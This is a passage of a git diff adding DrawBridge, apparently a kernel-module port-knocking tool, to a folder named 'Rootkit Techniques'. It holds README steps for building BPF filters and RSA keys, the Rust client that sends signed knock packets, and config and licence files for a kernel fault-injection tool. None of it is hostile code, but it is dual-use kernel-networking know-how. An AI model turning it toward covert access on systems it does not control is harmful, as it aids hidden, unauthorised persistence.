you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on: + +```c +// Flags +(*pkt)->tcp_h.fin = 0; // 1 +(*pkt)->tcp_h.syn = 0; // 2 +(*pkt)->tcp_h.rst = 1; // 4 +(*pkt)->tcp_h.psh = 1; // 8 +(*pkt)->tcp_h.ack = 1; // 16 +(*pkt)->tcp_h.urg = 0; // 32 + + +(*pkt)->tcp_h.window = htons(3104); +``` + +Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14: + +``` +"tcp[tcpflags] == 28 and tcp[14:2] = 3104" +``` + +[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it: + +``` +(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" +``` + +After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]: + +``` +tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd +``` + +which gives us: + +```c +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, + { 0x15, 0, 9, 0x00000800 }, + { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 13, 0x00000006 }, + { 0x28, 0, 0, 0x00000014 }, + { 0x45, 11, 0, 0x00001fff }, + { 0xb1, 0, 0, 0x0000000e }, + { 0x50, 0, 0, 0x0000001b }, + { 0x15, 0, 8, 0x0000001c }, + { 0x48, 0, 0, 0x0000001c }, + { 0x15, 5, 6, 0x00000c20 }, + { 0x15, 0, 5, 0x000086dd }, + { 0x30, 0, 0, 0x00000043 }, + { 0x15, 0, 3, 0x0000001c }, + { 0x28, 0, 0, 0x00000044 }, + { 0x15, 0, 1, 0x00000c20 }, + { 0x6, 0, 0, 0x00040000 }, + { 0x6, 0, 0, 0x00000000 }, +}; +``` + +And there you go! You have a unique packet that the DrawBridge kernel module will parse! + + +## Generating an RSA Key Pair Manually + +First generate the key pair: + +``` +openssl genrsa -des3 -out private.pem 2048 +``` + +Export the public key to a seperate file: + +```bash +openssl rsa -in private.pem -outform DER -pubout -out public.der +``` + +If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format: + +```bash +vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER + +0:d=0 hl=4 l= 290 cons: SEQUENCE +4:d=1 hl=2 l= 13 cons: SEQUENCE +6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption +17:d=2 hl=2 l= 0 prim: NULL +19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED +``` + +You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module: + +```bash +openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der +``` + +You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44). + +```bash +0:d=0 hl=4 l= 266 cons: SEQUENCE +4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054.... +265:d=1 hl=2 l= 3 prim: INTEGER :010001 +``` + +If you need to dump output.der as a C-style byte string: + +```bash +hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/' +``` diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs new file mode 100644 index 0000000..ebe9a7f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs @@ -0,0 +1,155 @@ +use failure::{bail, Error}; +use openssl::rsa::Rsa; +use ring::{digest, rand, signature}; +use std::io::{Read, Write}; + +#[derive(Debug)] +pub enum CryptoError { + IO(std::io::Error), + BadPrivateKey, + OOM, +} + +// crypto callback prototype, can be used to implement multiple types in the future +//type GenericSignMethod = fn(data: &mut [u8], private_key_path: &std::path::Path) -> Result, CryptoError>; + +/** + * Private method to read in a file + */ +fn read_file(path: &std::path::Path) -> Result, CryptoError> { + let mut file = std::fs::File::open(path).map_err(|e| CryptoError::IO(e))?; + let mut contents: Vec = Vec::new(); + file.read_to_end(&mut contents) + .map_err(|e| CryptoError::IO(e))?; + Ok(contents) +} + +/** + * Private method to write to a file + */ +fn write_file(contents: Vec, path: &std::path::Path) -> Result<(), CryptoError> { + let mut file = std::fs::File::create(path).map_err(|e| CryptoError::IO(e))?; + file.write_all(&contents).map_err(|e| CryptoError::IO(e))?; + Ok(()) +} + +/** + * Private method to convert a DER public key + * to a C header + */ +fn public_key_to_c_header(contents: &Vec) -> String { + let mut res = String::from("void * public_key = \n\""); + let mut count = 1; + for i in contents[24..].iter() { + res.push_str("\\x"); + res.push_str(format!("{:02X}", i).as_str()); + if count % 16 == 0 { + res.push_str("\"\n\""); + count = 0; + } + count += 1; + } + res.push_str("\";\n"); + return res; +} + +/** + * Generate a SHA256 digest + */ +pub fn sha256_digest<'a>(data: &[u8]) -> Result, CryptoError> { + let res = digest::digest(&digest::SHA256, data); + return Ok(res.as_ref().to_vec()); +} + +/** + * Sign data with an RSA private key + */ +pub fn sign_rsa<'a>( + data: &[u8], + private_key_path: &std::path::Path, +) -> Result, CryptoError> { + // Create an `RsaKeyPair` from the DER-encoded bytes. + let private_key_der = read_file(private_key_path)?; + let key_pair = signature::RsaKeyPair::from_der(&private_key_der) + .map_err(|_| CryptoError::BadPrivateKey)?; + + // Sign the data, using PKCS#1 v1.5 padding and the SHA256 digest + let rng = rand::SystemRandom::new(); + let mut signature = vec![0; key_pair.public_modulus_len()]; + key_pair + .sign(&signature::RSA_PKCS1_SHA256, &rng, data, &mut signature) + .map_err(|_| CryptoError::OOM)?; + + return Ok(signature); +} + +/** + * Generate a new RSA key pair + * + * Currently relies on openssl, because Ring hasn't + * implemented RSA key generation yet + */ +pub fn gen_rsa( + bits: u32, + private_path: &std::path::Path, + public_path: &std::path::Path, +) -> Result<(), Error> { + let key_path = std::path::Path::new("key.h"); + + let rsa = match Rsa::generate(bits) { + Ok(key) => key, + Err(e) => { + bail!(e) + } + }; + + let private = match rsa.private_key_to_der() { + Ok(res) => res, + Err(e) => { + bail!("[-] Could not convert private key to DER format: {}", e) + } + }; + + let public = match rsa.public_key_to_der() { + Ok(res) => res, + Err(e) => { + bail!("[-] Could not convert public key to DER format: {}", e) + } + }; + + // create the public key C-header for Drawbridge + let mut header = public_key_to_c_header(&public); + header.push_str(format!("\n#define KEY_LEN {}\n", public[24..].len()).as_str()); + + // Write private key to file + match write_file(private, private_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write private key to file. {:?}", e) + } + } + + println!("\t[+] created {}", private_path.display()); + + // Write public key to file + match write_file(public, public_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write public key to file. {:?}", e) + } + } + + println!("\t[+] created {}", public_path.display()); + + // Write public key to file + match write_file(header.as_bytes().to_vec(), key_path) { + Ok(_res) => (), + Err(e) => { + bail!("[-] Could not write public key to file. {:?}", e) + } + } + + println!("\t[+] created ./key.h"); + + Ok(()) +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs new file mode 100644 index 0000000..1840514 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs @@ -0,0 +1,87 @@ +use failure::{bail, Error}; +use libc::timespec; +use std::mem; +use std::path::Path; + +use crate::crypto; + +// Drawbridge protocol data +#[repr(C, packed)] +pub struct db_data { + timestamp: timespec, + port: u16, +} + +impl db_data { + // db_data method to convert to &[u8] + // which is necessary to use as a packet payload + pub fn as_bytes(&self) -> &[u8] { + union Overlay<'a> { + pkt: &'a db_data, + bytes: &'a [u8; mem::size_of::()], + } + unsafe { Overlay { pkt: self }.bytes } + } +} + +/** + * Convert a u32 to a [u8] in network byte order + */ +fn transform_u32_to_array_of_u8(x: u32) -> [u8; 4] { + let b1: u8 = ((x >> 24) & 0xff) as u8; + let b2: u8 = ((x >> 16) & 0xff) as u8; + let b3: u8 = ((x >> 8) & 0xff) as u8; + let b4: u8 = (x & 0xff) as u8; + return [b4, b3, b2, b1]; +} + +/** + * Drawbridge protocol payload will result in the following structure: + * + * data: db_data + * sig_size: u32 (must be network byte order) + * signature: [u8] + * digest_size: u32 (must be network byte order) + * digest: [u8] + * + */ +pub fn build_packet<'a>(unlock_port: u16, private_key_path: String) -> Result, Error> { + let path = Path::new(&private_key_path); + if !path.exists() { + bail!("[-] {} does not exist.", path.display()) + } + + // initialize the Drawbridge protocol data + let mut data = db_data { + port: unlock_port, + timestamp: libc::timespec { + tv_sec: 0, + tv_nsec: 0, + }, + }; + + // get current timestamp + unsafe { + libc::clock_gettime(libc::CLOCK_REALTIME, &mut data.timestamp); + } + + // sign the data + let signature = match crypto::sign_rsa(data.as_bytes(), path) { + Ok(s) => s, + Err(e) => { + bail!("{:?}", e) + } + }; + + // hash the data + let digest = crypto::sha256_digest(data.as_bytes()).unwrap(); + + // build the final payload + let mut result = data.as_bytes().to_vec(); + result.extend(&transform_u32_to_array_of_u8(signature.len() as u32)); + result.extend(signature.iter().cloned()); + result.extend(&transform_u32_to_array_of_u8(digest.len() as u32)); + result.extend(digest.iter().cloned()); + + return Ok(result); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs new file mode 100644 index 0000000..5bca890 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs @@ -0,0 +1,344 @@ +extern crate failure; +extern crate pnet; +extern crate rand; +//#[macro_use] extern crate failure; + +// Supported layer 3 protocols +use std::net::IpAddr; + +// Supported layer 4 protocols +use pnet::packet::tcp::MutableTcpPacket; +use pnet::packet::udp::MutableUdpPacket; + +// Transport Channel Types +use pnet::packet::ip::IpNextHeaderProtocols; +use pnet::transport::transport_channel; +use pnet::transport::TransportChannelType::Layer4; +use pnet::transport::TransportProtocol::Ipv4; +use pnet::transport::TransportProtocol::Ipv6; + +// internal modules +mod crypto; +mod drawbridge; +mod protocols; +mod route; + +use clap::{App, AppSettings, Arg, SubCommand}; +use failure::{bail, Error}; +use std::io::Write; + +const MAX_PACKET_SIZE: usize = 2048; + +/** + * Packet wrapper to pass to TransportSender + * This allows us to return both MutableTcpPacket + * and MutableUdpPacket from the builders + */ +enum PktWrapper<'a> { + Tcp(MutableTcpPacket<'a>), + Udp(MutableUdpPacket<'a>), +} + +/** + * tx.send_to's first argument must implement + * the pnet::packet::Packet Trait + */ +impl pnet::packet::Packet for PktWrapper<'_> { + fn packet(&self) -> &[u8] { + match self { + PktWrapper::Tcp(pkt) => pkt.packet(), + PktWrapper::Udp(pkt) => pkt.packet(), + } + } + fn payload(&self) -> &[u8] { + match self { + PktWrapper::Tcp(pkt) => pkt.payload(), + PktWrapper::Udp(pkt) => pkt.payload(), + } + } +} + +/** + * Method for the auth subcommand, + * authenticates with a remote Drawbridge Server + */ +fn auth(args: &clap::ArgMatches) -> Result<(), Error> { + // required so safe to unwrap + let proto = args.value_of("protocol").unwrap(); + let dtmp = args.value_of("dport").unwrap(); + let utmp = args.value_of("uport").unwrap(); + let tmpkey = args.value_of("key").unwrap(); + + // expand the path + let key = match shellexpand::full(tmpkey) { + Ok(res) => res.to_string(), + Err(e) => { + bail!(e) + } + }; + + // check if valid ports were provided + let (unlock_port, dport) = match (utmp.parse::(), dtmp.parse::()) { + (Ok(uport), Ok(dport)) => (uport, dport), + _ => { + bail!("{}", "[-] Ports must be between 1-65535"); + } + }; + + // check if a valid IpAddr was provided + let target = match args.value_of("server").unwrap().parse::() { + Ok(e) => e, + _ => { + bail!("{}", "[-] IP address invalid, must be IPv4 or IPv6"); + } + }; + + let iface = match args.value_of("interface") { + Some(interface) => interface.to_string(), + None => match route::get_default_iface() { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }, + }; + + let src_ip = match route::get_interface_ip(&iface) { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }; + + println!("[+] Selected Interface {}, with address {}", iface, src_ip); + + // Dynamically set the transport protocol, and calculate packet size + // todo, see if the header size can be calculated and returned in tcp.rs & udp.rs + let config: pnet::transport::TransportChannelType = match (proto, target.is_ipv4()) { + ("tcp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Tcp)), + ("tcp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Tcp)), + ("udp", true) => Layer4(Ipv4(IpNextHeaderProtocols::Udp)), + ("udp", false) => Layer4(Ipv6(IpNextHeaderProtocols::Udp)), + _ => bail!("[-] Protocol/IpAddr pair not supported!"), + }; + + // Create a new channel, dealing with layer 4 packets + let (mut tx, _rx) = match transport_channel(MAX_PACKET_SIZE, config) { + Ok((tx, rx)) => (tx, rx), + Err(e) => bail!( + "An error occurred when creating the transport channel: {}", + e + ), + }; + + // build the Drawbridge specific protocol data + let data = match drawbridge::build_packet(unlock_port, key) { + Ok(res) => res, + Err(e) => { + bail!(e) + } + }; + + // Create the packet + let pkt: PktWrapper = match proto { + "tcp" => PktWrapper::Tcp(protocols::build_tcp_packet( + data.as_slice(), + src_ip, + target, + dport, + )?), + "udp" => PktWrapper::Udp(protocols::build_udp_packet( + data.as_slice(), + src_ip, + target, + dport, + )?), + _ => bail!("[-] not implemented"), + }; + + println!( + "[+] Sending {} packet to {}:{} to unlock port {}", + proto, target, dport, unlock_port + ); + + // send it + match tx.send_to(pkt, target) { + Ok(res) => { + println!("[+] Sent {} bytes", res); + } + Err(e) => { + println!("[-] Failed to send packet: {}", e); + bail!(-2); + } + } + + Ok(()) +} + +/** + * Method for the keygen subcommand, generate new + * Drawbridge keys + */ +fn keygen(args: &clap::ArgMatches) -> Result<(), Error> { + let alg = args.value_of("algorithm").unwrap(); + let tmpbits = args.value_of("bits").unwrap(); + let tmpfile = args.value_of("outfile").unwrap(); + + // expand the path + let outfile = match shellexpand::full(tmpfile) { + Ok(res) => res.to_string(), + Err(e) => { + bail!(e) + } + }; + + let outfile_pub = outfile.to_owned() + ".pub"; + let priv_path = std::path::Path::new(&outfile); + let pub_path = std::path::Path::new(&outfile_pub); + let parent = priv_path.parent().unwrap(); + + // create the output directory if it doesn't exist + if !parent.exists() { + print!( + "[!] {} doesn't exist yet, would you like to create it [Y/n]: ", + parent.display() + ); + std::io::stdout().flush().unwrap(); + let mut input = String::new(); + std::io::stdin() + .read_line(&mut input) + .expect("error: unable to read user input"); + if input == "Y\n" || input == "\n" || input == "y\n" { + println!("[*] Creating {:?}", parent.display()); + std::fs::create_dir(parent)?; + } else { + bail!("[-] Specify or create a directory for the new keys.") + } + } + + let bits = match tmpbits.parse::() { + Ok(b) => b, + Err(e) => { + bail!(e) + } + }; + + println!("[*] Generating {} keys...", alg); + + match alg { + "rsa" => crypto::gen_rsa(bits, priv_path, pub_path)?, + "ecdsa" => { + bail!("[-] ECDSA is not implemented yet. Stay tuned.") + } + _ => unreachable!(), + }; + + println!("[+] Generated {} keys w/{} bits", alg, bits); + Ok(()) +} + +fn main() -> Result<(), Error> { + let args = App::new("db") + .version("1.0.0") + .author("landhb ") + .about("Drawbridge Client") + .setting(AppSettings::ArgRequiredElseHelp) + .subcommand( + SubCommand::with_name("keygen") + .about("Generate Drawbridge Keys") + .arg( + Arg::with_name("algorithm") + .short("a") + .long("alg") + .takes_value(true) + .required(true) + .possible_values(&["rsa", "ecdsa"]) + .default_value("rsa") + .help("Algorithm to use"), + ) + .arg( + Arg::with_name("bits") + .short("b") + .long("bits") + .takes_value(true) + .required(true) + .default_value("4096") + .help("Key size"), + ) + .arg( + Arg::with_name("outfile") + .short("o") + .long("out") + .takes_value(true) + .required(true) + .default_value("~/.drawbridge/db_rsa") + .help("Output file name"), + ), + ) + .subcommand( + SubCommand::with_name("auth") + .about("Authenticate with a Drawbridge server") + .arg( + Arg::with_name("server") + .short("s") + .long("server") + .takes_value(true) + .required(true) + .help("Address of server running Drawbridge"), + ) + .arg( + Arg::with_name("interface") + .short("e") + .long("interface") + .takes_value(true) + .help("Specify the outgoing interface to use"), + ) + .arg( + Arg::with_name("protocol") + .short("p") + .long("protocol") + .takes_value(true) + .required(false) + .possible_values(&["tcp", "udp"]) + .default_value("tcp") + .help("Auth packet protocol"), + ) + .arg( + Arg::with_name("dport") + .short("d") + .long("dport") + .takes_value(true) + .required(true) + .help("Auth packet destination port"), + ) + .arg( + Arg::with_name("uport") + .short("u") + .long("unlock") + .takes_value(true) + .required(true) + .help("Port to unlock"), + ) + .arg( + Arg::with_name("key") + .short("i") + .long("key") + .takes_value(true) + .required(true) + .default_value("~/.drawbridge/db_rsa") + .help("Private key for signing"), + ), + ) + .get_matches(); + + // Match on each subcommand to handle different functionality + match args.subcommand() { + ("auth", Some(auth_args)) => auth(auth_args)?, + ("keygen", Some(keygen_args)) => keygen(keygen_args)?, + _ => { + println!("Please provide a valid subcommand. Run db -h for more information."); + } + } + + return Ok(()); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs new file mode 100644 index 0000000..0430cd7 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs @@ -0,0 +1,129 @@ +use failure::{bail, Error}; +use pnet::packet::tcp::{MutableTcpPacket, TcpFlags, TcpOption}; +use pnet::packet::udp::MutableUdpPacket; +use std::net::IpAddr; + +// Builds an immutable UdpPacket to drop on the wire +pub fn build_udp_packet<'a>( + data: &'a [u8], + src_ip: IpAddr, + dst_ip: IpAddr, + dst_port: u16, +) -> Result, Error> { + // calculate total length + let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size(); + length += pnet::packet::udp::MutableUdpPacket::minimum_packet_size(); + length += data.len(); + + // the IP layer is variable + if dst_ip.is_ipv4() && src_ip.is_ipv4() { + length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size() + } else { + length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size(); + } + + // Allocate enough room for the entire packet + let packet_buffer: Vec = vec![0; length]; + + let mut udp = match MutableUdpPacket::owned(packet_buffer) { + Some(res) => res, + None => { + println!("[!] Could not allocate packet!"); + bail!(-1); + } + }; + + udp.set_source(rand::random::()); + udp.set_destination(dst_port); + udp.set_length(length as u16); + + // add the data + udp.set_payload(data); + + // compute the checksum + match (src_ip, dst_ip) { + (IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => { + let checksum = + pnet::packet::udp::ipv4_checksum(&udp.to_immutable(), &src_ip4, &dst_ip4); + udp.set_checksum(checksum); + } + (IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => { + let checksum = + pnet::packet::udp::ipv6_checksum(&udp.to_immutable(), &src_ip6, &dst_ip6); + udp.set_checksum(checksum); + } + _ => { + bail!("[-] Unknown IP Address type") + } + } + + return Ok(udp); +} + +// Builds an immutable TcpPacket to drop on the wire +pub fn build_tcp_packet<'a>( + data: &'a [u8], + src_ip: IpAddr, + dst_ip: IpAddr, + dst_port: u16, +) -> Result, Error> { + // calculate total length + let mut length: usize = pnet::packet::ethernet::EthernetPacket::minimum_packet_size(); + length += pnet::packet::tcp::MutableTcpPacket::minimum_packet_size(); + length += data.len(); + + // the IP layer is variable + if dst_ip.is_ipv4() && src_ip.is_ipv4() { + length += pnet::packet::ipv4::Ipv4Packet::minimum_packet_size() + } else { + length += pnet::packet::ipv6::Ipv6Packet::minimum_packet_size(); + } + + // Allocate enough room for the entire packet + let packet_buffer: Vec = vec![0; length]; + + let mut tcp = match MutableTcpPacket::owned(packet_buffer) { + Some(res) => res, + None => { + println!("[!] Could not allocate packet!"); + bail!(-1); + } + }; + + tcp.set_source(rand::random::()); + tcp.set_destination(dst_port); + tcp.set_flags(TcpFlags::SYN); + tcp.set_window(64240); + tcp.set_data_offset(8); + tcp.set_urgent_ptr(0); + tcp.set_sequence(rand::random::()); + tcp.set_options(&[ + TcpOption::mss(1460), + TcpOption::sack_perm(), + TcpOption::nop(), + TcpOption::nop(), + TcpOption::wscale(7), + ]); + + // add the data + tcp.set_payload(data); + + // compute the checksum + match (src_ip, dst_ip) { + (IpAddr::V4(src_ip4), IpAddr::V4(dst_ip4)) => { + let checksum = + pnet::packet::tcp::ipv4_checksum(&tcp.to_immutable(), &src_ip4, &dst_ip4); + tcp.set_checksum(checksum); + } + (IpAddr::V6(src_ip6), IpAddr::V6(dst_ip6)) => { + let checksum = + pnet::packet::tcp::ipv6_checksum(&tcp.to_immutable(), &src_ip6, &dst_ip6); + tcp.set_checksum(checksum); + } + _ => { + bail!("[-] Unknown IP Address type") + } + } + + return Ok(tcp); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs b/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs new file mode 100644 index 0000000..f31e4b1 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs @@ -0,0 +1,53 @@ +use failure::{bail, Error}; +use std::fs::File; +use std::io::Read; +use std::net::IpAddr; + +/* +* Grab an interface's src IP +*/ +pub fn get_interface_ip(iface: &String) -> Result { + let interfaces = pnet::datalink::interfaces(); + + for i in interfaces { + if i.name == *iface { + return Ok(i.ips[0].ip()); + } + } + bail!("[-] Could not find interface IP address") +} + +/* +* Get a Linux host's default gateway +*/ +pub fn get_default_iface() -> Result { + let mut file = File::open("/proc/net/route")?; + let mut contents = String::new(); + file.read_to_string(&mut contents)?; + + let mut iter = contents.lines(); + let mut res = String::new(); + while let Some(line) = iter.next() { + let v: Vec<&str> = line.split("\t").collect(); + if v.len() < 3 { + continue; + } + let dst = match u64::from_str_radix(v[1], 16) { + Ok(a) => a, + Err(_e) => { + continue; + } + }; + let gateway = match u64::from_str_radix(v[2], 16) { + Ok(a) => a, + Err(_e) => { + continue; + } + }; + if dst == 0 && gateway != 0 { + res = v[0].to_string(); + break; + } + } + Ok(res) +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml new file mode 100644 index 0000000..07dff2b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml @@ -0,0 +1,6 @@ +freebsd_instance: + image: freebsd-12-0-release-amd64 + +task: + install_script: pkg install -y gmake ruby + script: gmake diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format new file mode 100644 index 0000000..c939fda --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format @@ -0,0 +1,109 @@ +--- +Language: Cpp +# BasedOnStyle: LLVM +AccessModifierOffset: -2 +AlignAfterOpenBracket: Align +AlignConsecutiveAssignments: false +AlignConsecutiveDeclarations: false +AlignEscapedNewlines: Right +AlignOperands: true +AlignTrailingComments: true +AllowAllParametersOfDeclarationOnNextLine: true +AllowShortBlocksOnASingleLine: false +AllowShortCaseLabelsOnASingleLine: false +AllowShortFunctionsOnASingleLine: None +AllowShortIfStatementsOnASingleLine: false +AllowShortLoopsOnASingleLine: false +AlwaysBreakAfterDefinitionReturnType: None +AlwaysBreakAfterReturnType: None +AlwaysBreakBeforeMultilineStrings: false +AlwaysBreakTemplateDeclarations: false +BinPackArguments: true +BinPackParameters: true +BraceWrapping: + AfterClass: false + AfterControlStatement: false + AfterEnum: false + AfterFunction: false + AfterNamespace: false + AfterObjCDeclaration: false + AfterStruct: false + AfterUnion: false + AfterExternBlock: false + BeforeCatch: false + BeforeElse: false + IndentBraces: false + SplitEmptyFunction: true + SplitEmptyRecord: true + SplitEmptyNamespace: true +BreakBeforeBinaryOperators: None +BreakBeforeBraces: Attach +BreakBeforeInheritanceComma: false +BreakBeforeTernaryOperators: true +BreakConstructorInitializersBeforeComma: false +BreakConstructorInitializers: BeforeColon +BreakAfterJavaFieldAnnotations: false +BreakStringLiterals: true +ColumnLimit: 100 +CommentPragmas: '^ IWYU pragma:' +CompactNamespaces: false +ConstructorInitializerAllOnOneLineOrOnePerLine: false +ConstructorInitializerIndentWidth: 4 +ContinuationIndentWidth: 4 +Cpp11BracedListStyle: true +DerivePointerAlignment: false +DisableFormat: false +ExperimentalAutoDetectBinPacking: false +FixNamespaceComments: true +ForEachMacros: + - foreach + - Q_FOREACH + - BOOST_FOREACH +IncludeBlocks: Preserve +IncludeCategories: + - Regex: '^"(llvm|llvm-c|clang|clang-c)/' + Priority: 2 + - Regex: '^(<|"(gtest|gmock|isl|json)/)' + Priority: 3 + - Regex: '.*' + Priority: 1 +IncludeIsMainRegex: '(Test)?$' +IndentCaseLabels: false +IndentPPDirectives: None +IndentWidth: 2 +IndentWrappedFunctionNames: false +JavaScriptQuotes: Leave +JavaScriptWrapImports: true +KeepEmptyLinesAtTheStartOfBlocks: true +MacroBlockBegin: '' +MacroBlockEnd: '' +MaxEmptyLinesToKeep: 1 +NamespaceIndentation: None +ObjCBlockIndentWidth: 2 +ObjCSpaceAfterProperty: false +ObjCSpaceBeforeProtocolList: true +PenaltyBreakAssignment: 2 +PenaltyBreakBeforeFirstCallParameter: 19 +PenaltyBreakComment: 300 +PenaltyBreakFirstLessLess: 120 +PenaltyBreakString: 1000 +PenaltyExcessCharacter: 1000000 +PenaltyReturnTypeOnItsOwnLine: 60 +PointerAlignment: Right +ReflowComments: true +SortIncludes: false +SpaceAfterCStyleCast: false +SpaceBeforeAssignmentOperators: true +SpaceBeforeParens: ControlStatements +SpaceInEmptyParentheses: false +SpacesBeforeTrailingComments: 1 +SpacesInAngles: false +SpacesInContainerLiterals: true +SpacesInCStyleCastParentheses: false +SpacesInParentheses: false +SpacesInSquareBrackets: false +Standard: Cpp11 +TabWidth: 2 +UseTab: Never +... + diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig new file mode 100644 index 0000000..7056e33 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig @@ -0,0 +1,13 @@ +root = true + +[*] +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true + +[*.{c,h}] +indent_style = space +indent_size = 2 + +[Makefile] +indent_style = tab diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml new file mode 100644 index 0000000..ae8386d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml @@ -0,0 +1,41 @@ +name: CI + +on: + push: + branches: + - master + pull_request: + schedule: + # run CI every day even if no PRs/merges occur + - cron: '0 12 * * *' + +jobs: + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Install dependencies + run: sudo apt install -y cppcheck clang-format-7 + - name: Lint + run: | + make CLANG_FORMAT=clang-format-7 fmt && git diff --exit-code + cppcheck --error-exitcode=1 src/ + build: + strategy: + matrix: + platform: ["ubuntu-18.04", "ubuntu-20.04"] + env: + - FAULTS: conservative + - FAULTS: + runs-on: ${{ matrix.platform }} + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-ruby@v1 + with: + ruby-version: "2.7" + - name: Install dependencies + run: sudo apt install -y ruby build-essential linux-headers-$(uname -r) + - name: Build + env: + FAULTS: ${{ matrix.env.FAULTS }} + run: make diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore new file mode 100644 index 0000000..0238a5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore @@ -0,0 +1,21 @@ +*.o +*.ko +*.o.ur-safe +*.cache.mk +Module.symvers +*.mod.c +modules.order +.tmp_versions +.vagrant/ +*.gen.x +*.gen.h +*.gen.c +*.cmd +*~ +src/krfexec/krfexec +src/krfctl/krfctl +src/krfmesg/krfmesg +src/module/codegen/.*.mk +*.bak +example/* +!example/*.{c,h} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of 